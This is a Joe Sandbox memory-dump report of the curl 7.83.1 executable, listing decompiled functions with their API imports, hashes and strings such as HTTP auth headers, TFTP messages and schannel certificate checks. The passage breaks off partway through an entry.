PRN, xrefs: 00862EEC
COM, xrefs: 00862F3A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strncpy$_strdupmalloc
String ID: AUX$CLOCK$$COM$CON$LPT$NUL$PRN
API String ID: 3833483438-925842913
Opcode ID: 0fd6db3173fcf759070533732380072d399277ed36969d9e2faddb69c19cd553
Instruction ID: d7240554d229a05df8352b421b1cb0f85a419b41776443c4f9cf517031dc63ce
Opcode Fuzzy Hash: 0fd6db3173fcf759070533732380072d399277ed36969d9e2faddb69c19cd553
Instruction Fuzzy Hash: 42618B31604E0646DF358A288860BFA77E9FF96748F2641E8D886CB242DF25CE898751

Function 00874F35 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 178stringCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00874F5C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874FD2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874FE4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00874FF6
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008C2984,00000000,00000000,?), ref: 00875039
___from_strstr_to_strchr.LIBCMT ref: 00875055
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,008C2984,00000000,00000000,?), ref: 00875082
___from_strstr_to_strchr.LIBCMT ref: 0087509A
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(00875B45,008C2984,00000000,00000000,?), ref: 008750C3
___from_strstr_to_strchr.LIBCMT ref: 008750DB

Strings

, xrefs: 00875016

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$freestrcspn
String ID:
API String ID: 2030676775-3916222277
Opcode ID: 7d6f66ef9fa0cadc3083c79a5a4f432d4c8fcc16dcbd51137217dffd760f0ecd
Instruction ID: e4aadaadca09948f579ecda3804734a5f8d8b6ec576353c5db5ca61a64cd18e5
Opcode Fuzzy Hash: 7d6f66ef9fa0cadc3083c79a5a4f432d4c8fcc16dcbd51137217dffd760f0ecd
Instruction Fuzzy Hash: 4A51A332904A199FDB24CF54D884BADBBF4FF04714F24C15EE809E7285DBB1D9058B90

Function 00891C9A Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 166COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00891CC2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00891D16
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00891D81
___from_strstr_to_strchr.LIBCMT ref: 00891DAF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00891DD1

Strings

Host, xrefs: 00891D1F
Host: %s%s%s, xrefs: 00891E5F
P, xrefs: 00891E34
Host: %s%s%s:%d, xrefs: 00891E96
Host:%s, xrefs: 00891E05
Host:, xrefs: 00891DDC

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchr
String ID: Host$Host:$Host: %s%s%s$Host: %s%s%s:%d$Host:%s$P
API String ID: 622630536-3255330290
Opcode ID: 0372db96160ca865777c7c36d129ab31da6572a88bad70d4796d6826c67cc7fa
Instruction ID: 312669ef49d545b29fc0f895f6e5af4584beac7a0d5835b0a00aa60fb511314b
Opcode Fuzzy Hash: 0372db96160ca865777c7c36d129ab31da6572a88bad70d4796d6826c67cc7fa
Instruction Fuzzy Hash: 2151E3757086069FEF19AB649C48BA97BA5FF45310F1C817AEC05CB392DB71EC448BA0

Function 00890AF6 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 140COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00890C07

Strings

NTLM, xrefs: 00890B4F
Proxy-authorization, xrefs: 00890B94
Authorization: Bearer %s, xrefs: 00890C10
%s auth using %s with user '%s', xrefs: 00890C82
Negotiate, xrefs: 00890B39
Bearer, xrefs: 00890BFA
Basic, xrefs: 00890BA8
Proxy, xrefs: 00890C79, 00890C81
Digest, xrefs: 00890B69
Authorization, xrefs: 00890BDB, 00890C35
Server, xrefs: 00890C74

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %s auth using %s with user '%s'$Authorization$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-authorization$Server
API String ID: 1294909896-3316699798
Opcode ID: 2fabb495dd38c305841f2fecc8c7ec0c9ec803fb852622f83cf95aca188dc74b
Instruction ID: 5035d2baccf4c5c50ad2949535b7623f3ddeb66edcc95e41d1ba47c198322f6c
Opcode Fuzzy Hash: 2fabb495dd38c305841f2fecc8c7ec0c9ec803fb852622f83cf95aca188dc74b
Instruction Fuzzy Hash: 1C412531704605AFDF28BA688841BADB7B2FF81328F28812EE546C7381DB71DD449F52

Function 008AD350 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 224COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB20
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB42
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB9C

Strings

, xrefs: 008AD38B
, xrefs: 008AD3E8
, xrefs: 008AD365
-, xrefs: 008AD3AE
>, xrefs: 008AD3D8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callocmallocrealloc
String ID: $ $ $-$>
API String ID: 3005434335-2764683982
Opcode ID: 7f674e0bdd421f8896019ac503661cb1a55e3d2c5773ac0d5ff895f5ac6208ae
Instruction ID: dfabc1cff4997f784730282ea9f47f79f7eeaf136cdcac93280bf41c69908e70
Opcode Fuzzy Hash: 7f674e0bdd421f8896019ac503661cb1a55e3d2c5773ac0d5ff895f5ac6208ae
Instruction Fuzzy Hash: 7A816431A11B069FEB24CF29D544725BBF2FB0A324F18861AD416C7E91D772F890CB96

Function 00897D59 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 00897E69
sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 00897ECD
sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 00897F6D
WSAGetLastError.WS2_32(?,?,00000000), ref: 00897F78
_time64.API-MS-WIN-CRT-TIME-L1-1-0(?,?,00000000), ref: 00897FBE

Strings

Received last DATA packet block %d again., xrefs: 00897F0D
Timeout waiting for block %d ACK. Retries = %d, xrefs: 00897DC3
Received unexpected DATA packet block %d, expecting block %d, xrefs: 00897FC9
tftp_rx: internal error, xrefs: 00897D97

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: sendto$ErrorLast_time64
String ID: Received last DATA packet block %d again.$Received unexpected DATA packet block %d, expecting block %d$Timeout waiting for block %d ACK. Retries = %d$tftp_rx: internal error
API String ID: 3931062552-2298932677
Opcode ID: 977395410e296d292fe1a52d2cf51161e3124a6d97837163e5004acf93c29c62
Instruction ID: da3b0ba55c2730c234e008095416d6b047aebe9088dca6060a7ff9c63ef05889
Opcode Fuzzy Hash: 977395410e296d292fe1a52d2cf51161e3124a6d97837163e5004acf93c29c62
Instruction Fuzzy Hash: EC71BB30208B009FD7219F28CC85FB7BBE5FF55700F08895DEA9EDA2A1D674A904DB61

Function 0086D136 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177stringCOMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0086D165
_strrchr.LIBCMT ref: 0086D16F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(008B74AB), ref: 0086D198
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002), ref: 0086D1D9
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,00000001), ref: 0086D1F4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 0086D27A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086D2A4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086D2BD

Strings

://, xrefs: 0086D142
|<>"?*, xrefs: 0086D228

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strrchr$_strdupmallocstrncpy
String ID: ://$|<>"?*
API String ID: 1245388853-1792949323
Opcode ID: 86e8d394ed0384d59033b971785998fb6b6d0b8b19becc96d625396bb98498e6
Instruction ID: b6d16e0100ad2c00e98b3fa6ac8b7ed2731325f6af18a7bdeaf9fc0482735d81
Opcode Fuzzy Hash: 86e8d394ed0384d59033b971785998fb6b6d0b8b19becc96d625396bb98498e6
Instruction Fuzzy Hash: FF512532F047569BDB219BA8D8757BABBA5FF46710F274065D841EB382DAB0DD009390

Function 008AF1D2 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 164COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF232
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 008AF280
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008AF309
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF359

Strings

schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names, xrefs: 008AF33A
schannel: CertGetNameString() returned certificate name information of unexpected size, xrefs: 008AF254
schannel: connection hostname (%s) did not match against certificate name (%s), xrefs: 008AF2E0
schannel: CertGetNameString() returned no certificate name information, xrefs: 008AF20E
schannel: connection hostname (%s) validated against certificate name (%s), xrefs: 008AF2C9
schannel: server certificate name verification failed, xrefs: 008AF328

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names$schannel: CertGetNameString() returned certificate name information of unexpected size$schannel: CertGetNameString() returned no certificate name information$schannel: connection hostname (%s) did not match against certificate name (%s)$schannel: connection hostname (%s) validated against certificate name (%s)$schannel: server certificate name verification failed
API String ID: 111713529-4178580626
Opcode ID: 06f7431a59add98e7e0e494327f57113505a30249c4e6498bdb49b3f098b5c12
Instruction ID: e0e060ee24b451269ccff90bc8ed411136dc540bb81deb3b93d9259137c2f225
Opcode Fuzzy Hash: 06f7431a59add98e7e0e494327f57113505a30249c4e6498bdb49b3f098b5c12
Instruction Fuzzy Hash: 96412A36A04604ABEF259B98DC01FAE7BB5FF86750F24406DEA05E7743DB719D018B90

Function 00886D23 Relevance: 17.6, APIs: 14, Instructions: 107COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00881751,?,00000000,?,?,?,00868BF9), ref: 00886D39
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00886D52
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868BF9), ref: 00886D69
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00868BF9), ref: 00886D80
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886D97
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DAE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DC5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DDC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DF3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E0A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E21
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E38
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E4F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E66

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2b85b65f312b0df72e51d84fe372a5cbbf169bcd6820aa3e693c61725257a287
Instruction ID: fc5a450fc0c6621d81a7fda10fcb46e2e804979db2e682728665682cc16d7eb4
Opcode Fuzzy Hash: 2b85b65f312b0df72e51d84fe372a5cbbf169bcd6820aa3e693c61725257a287
Instruction Fuzzy Hash: 12417772A14A26EFDB045F24EC48458BFB6FF4C661314962BD50693B62CBB5BC208FD0

Function 008A28A4 Relevance: 16.7, APIs: 5, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?), ref: 008A2A8C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?), ref: 008A2A9E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?), ref: 008A2ABA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?), ref: 008A2ACE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?), ref: 008A2AE7

Strings

/, xrefs: 008A28E8
SECTION, xrefs: 008A2A1D
PARTIAL, xrefs: 008A2A4D
UID, xrefs: 008A29BA
MAILINDEX, xrefs: 008A29ED
UIDVALIDITY, xrefs: 008A2987

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: /$MAILINDEX$PARTIAL$SECTION$UID$UIDVALIDITY
API String ID: 1294909896-4153388952
Opcode ID: 3b86d9cdbaab1e7661443a62d6af4b3fb7e4ed8fa6200a3ca438e07756cb3586
Instruction ID: 63237b06b3dc3849b58926b3438ab755fce68f7dcb433b0323d5d8a9fffee887
Opcode Fuzzy Hash: 3b86d9cdbaab1e7661443a62d6af4b3fb7e4ed8fa6200a3ca438e07756cb3586
Instruction Fuzzy Hash: 3F818D30A042499FEF34DF688450BAEBBB5FF56710F1480AEC841E3A52EB31AD04CB51

Function 0086E407 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 403COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(DL% UL% Dled Uled Xfers Live Qd Total Current Left Speed,?,?,?,?,00000000), ref: 0086E483

Strings

--:--:--, xrefs: 0086E8A1
DL% UL% Dled Uled Xfers Live Qd Total Current Left Speed, xrefs: 0086E47E
%-3s %-3s %s %s %5I64d %5I64d %5I64d %s %s %s %s %5s, xrefs: 0086E949
%3I64d, xrefs: 0086E686, 0086E6DF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs
String ID: %-3s %-3s %s %s %5I64d %5I64d %5I64d %s %s %s %s %5s$%3I64d$--:--:--$DL% UL% Dled Uled Xfers Live Qd Total Current Left Speed
API String ID: 1795875747-33453460
Opcode ID: 5edef3baa7307701cf3a6b6dd1136d42985f60642376f5ca6535b19e5468bee7
Instruction ID: c0557f2899c91aabcae6d54908445d8148a663c5780782f5a989012c9872c0eb
Opcode Fuzzy Hash: 5edef3baa7307701cf3a6b6dd1136d42985f60642376f5ca6535b19e5468bee7
Instruction Fuzzy Hash: 0D0269B5D002589FDB11CFA8C884EDDBBB6FF49304F1881AAE608AB352D7716946CF50

Function 00868599 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 196COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 008685D1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086861E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086864D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000310), ref: 0086867C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008686F7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00868795

Strings

%s, xrefs: 00868780
--url, xrefs: 008686E3
option %s: %s, xrefs: 0086876D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup$malloc
String ID: %s$--url$option %s: %s
API String ID: 854390910-3421415073
Opcode ID: 2e1b359f64a3b545170d49ef4d682138288a61bde605b0c37df2dbf625d0eff7
Instruction ID: 2b6bf568edbaf10843b7ea941cdcae5172169c250fe46cdc55c34422aef8e9fc
Opcode Fuzzy Hash: 2e1b359f64a3b545170d49ef4d682138288a61bde605b0c37df2dbf625d0eff7
Instruction Fuzzy Hash: B361E170A04109EFCB259B68C498BAEBBB1FB54310F2642AAE54DE7391DE709D81C751

Function 00867E68 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 91fileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00867E8E
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20), ref: 00867EA0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867EB2
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00867ECF
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00867EDB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867F11
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00867F21

Strings

Failed to read %s, xrefs: 00867EFC
<stdin>, xrefs: 00867E86

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfree$_strdupfclosefopen
String ID: <stdin>$Failed to read %s
API String ID: 229151352-3349806160
Opcode ID: 811a55666e648a50a57e1e133297979f539824fc7bd527b9024d8d73558bc75b
Instruction ID: 0bdd953d0aa720af357e18d5e4f0eb04cc6cf7a61807869264b28ad04d8a5f6d
Opcode Fuzzy Hash: 811a55666e648a50a57e1e133297979f539824fc7bd527b9024d8d73558bc75b
Instruction Fuzzy Hash: 30319C7160CB429FC7519F349884AAABBE5FB9A354F150A5EF09AC7340EB3198058B82

Function 0086DA2F Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 88COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(curl/7.83.1), ref: 0086DAFA

Strings

Content-Type, xrefs: 0086DA5A
proxy, xrefs: 0086DADD
out of memory, xrefs: 0086DB07
Content-Type: application/json, xrefs: 0086DA6A
Accept: application/json, xrefs: 0086DA8A
Accept, xrefs: 0086DA7C
curl/7.83.1, xrefs: 0086DAF5
host, xrefs: 0086DABA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdup
String ID: Accept$Accept: application/json$Content-Type$Content-Type: application/json$curl/7.83.1$host$out of memory$proxy
API String ID: 1169197092-2108368468
Opcode ID: 92beef4ef58bce2c6118f16227db3a8281890392f2d38bca0d99ffda07977ea3
Instruction ID: 2fcf784361acfb6a2da03ab2f709c6da774dcba3d80287ce75cb90b75b4be9f9
Opcode Fuzzy Hash: 92beef4ef58bce2c6118f16227db3a8281890392f2d38bca0d99ffda07977ea3
Instruction Fuzzy Hash: C1210B31B087059FEB109AA99851B9BB7E5FF803A1F12443DE545D7286DF30DC0ACB11

Function 008689A1 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 40COMMON

Download Yara Rule

APIs

puts.API-MS-WIN-CRT-STDIO-L1-1-0(Usage: curl [options...] <url>), ref: 008689A9
puts.API-MS-WIN-CRT-STDIO-L1-1-0(This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".), ref: 008689C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00868A13

Strings

Invalid category provided, here is a list of all categories:, xrefs: 00868A01
category, xrefs: 008689E6
This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all"., xrefs: 008689BE
Usage: curl [options...] <url>, xrefs: 008689A2
all, xrefs: 008689CC

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: puts$free
String ID: This is not the full help, this menu is stripped into categories.Use "--help category" to get an overview of all categories.For all options use the manual or "--help all".$Invalid category provided, here is a list of all categories:$Usage: curl [options...] <url>$all$category
API String ID: 1067472072-287794235
Opcode ID: f82ac18f6ba5f0c5093d8261d3b5a05606d0dfcf4050177f8e572d5f2006a03b
Instruction ID: 088a64d9bc9916f6698d948c3e0b87a6339ae3b407c0ceceb8eddb52950cd95c
Opcode Fuzzy Hash: f82ac18f6ba5f0c5093d8261d3b5a05606d0dfcf4050177f8e572d5f2006a03b
Instruction Fuzzy Hash: 87F0E93120C625D79B6977782C1B6AE3604FE467A5B16432AF85BFB3C2EF58CC014257

Function 00875F16 Relevance: 15.5, APIs: 4, Strings: 6, Instructions: 480COMMON

Download Yara Rule

Strings

%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00876403
%%25%s], xrefs: 00876242
file://%s%s%s, xrefs: 00876134
https, xrefs: 00876167
%25, xrefs: 008762FF
file, xrefs: 0087610A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
